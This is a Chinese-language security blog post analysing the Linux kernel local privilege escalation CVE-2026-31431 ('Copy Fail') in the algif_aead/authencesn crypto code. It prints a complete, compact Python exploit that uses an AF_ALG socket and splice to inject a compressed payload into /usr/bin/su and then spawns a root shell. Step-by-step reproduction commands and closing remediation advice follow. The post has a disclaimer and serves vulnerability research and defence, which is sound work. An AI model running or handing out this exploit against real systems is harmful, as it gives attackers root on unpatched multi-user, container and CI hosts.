前言
大家好,本文要分析的是 Linux 内核本地提权漏洞 CVE-2026-31431。该漏洞又被称为 Copy Fail,主要影响 Linux 内核 crypto 子系统中与 algif_aead / authencesn 相关的处理逻辑。
从漏洞性质来看,它不是远程代码执行漏洞,攻击者通常需要先获得目标主机上的低权限执行能力,才可能进一步利用该漏洞提升至 root 权限。但在多用户服务器、CI/CD Runner、容器宿主机以及允许第三方代码运行的环境中,本地提权漏洞往往是攻击链中的关键一环。
本文仅用于授权环境下的漏洞学习、复现与防护分析,请勿用于未授权测试。
原文地址:https://xint.io/blog/copy-fail-linux-distributions
影响范围
公开资料显示,该漏洞影响多个 Linux LTS 和 Stable 内核分支,覆盖 Ubuntu、Debian、RHEL、SUSE、Amazon Linux、Arch Linux 等主流发行版。
需要注意的是,不同发行版会对内核补丁进行回移,因此不能只依赖 uname -r 的版本号判断是否安全。更稳妥的方式是结合发行版官方安全公告、当前内核包版本以及系统补丁状态进行确认。
测试环境
python3.10.+
Ubuntu22.04
POC
#!/usr/bin/env python3//导入库import os as g,zlib,socket as sdef d(x):return bytes.fromhex(x)def c(f,t,c)://创建 AF_ALG 套接字并绑定算法(AF_ALG是 Linux 内核提供的用户态密码学 API 接口。)//设置套接字选项//接受连接// 准备 sendmsg 的控制消息// 使用 pipe 和 splice 进行零拷贝数据移动//尝试接收数据,但无论成功与否都忽略异常a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) try:u.recv(8+t) except:0 //主逻辑:解压payload,并逐 4 字节注入f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))while i<len(e):c(f,i,e[i:i+4]);i+=4g.system("su")
漏洞复现
首先,我们要先检查我们的内核版本、内核模块和python版本(因为漏洞利用的核心是algif_aead内核模块,需要确保它可用。)
//查看内核版本,看该漏洞是否被修复uname -r//查看内核模块lsmod | grep algif_aead//要是没有输出,则需要手动开启一下sudo modprobe algif_aead//查看python版本python3 --version
确定我们现在就是普通用户状态,或者也可以重新创建一个普通用户,然后把我们的poc传进去(我这里因为是测试环境,就直接用nano写进去的)//进入普通用户目录cd /目录///用nano写入(按理来说应该传进去的,这里不纠结哈)nano copy_fail.py
然后直接运行我们的poc即可获得root权限,可以输入whoami进行测试,看是否获取成功了防护重点
建议重点排查以下几类主机:
本地提权漏洞通常不是攻击的第一步,但可能是攻击链中最关键的一步。攻击者一旦从低权限提升到 root,就可能进一步读取敏感数据、安装持久化后门、横向移动,甚至接管整台服务器。
结语
到这里,关于 CVE-2026-31431 Copy Fail 漏洞的分析就告一段落了。这个漏洞提醒我们:本地提权并不等于低风险,尤其是在云主机、容器化和自动化构建环境中,低权限代码执行本身就可能成为更高权限失陷的跳板。
对于安全人员来说,复现漏洞不是目的,真正重要的是把风险转化为可执行的修复动作:确认受影响资产、核对发行版公告、升级修复内核、重启验证生效,并在无法立即升级时尽量收缩攻击面。
最后建议大家在日常运维中建立内核漏洞响应机制。应用层漏洞容易被关注,但内核漏洞一旦被利用,影响往往更深。及时更新、最小权限和减少不必要的本地执行入口,仍然是应对此类漏洞最有效的基础手段。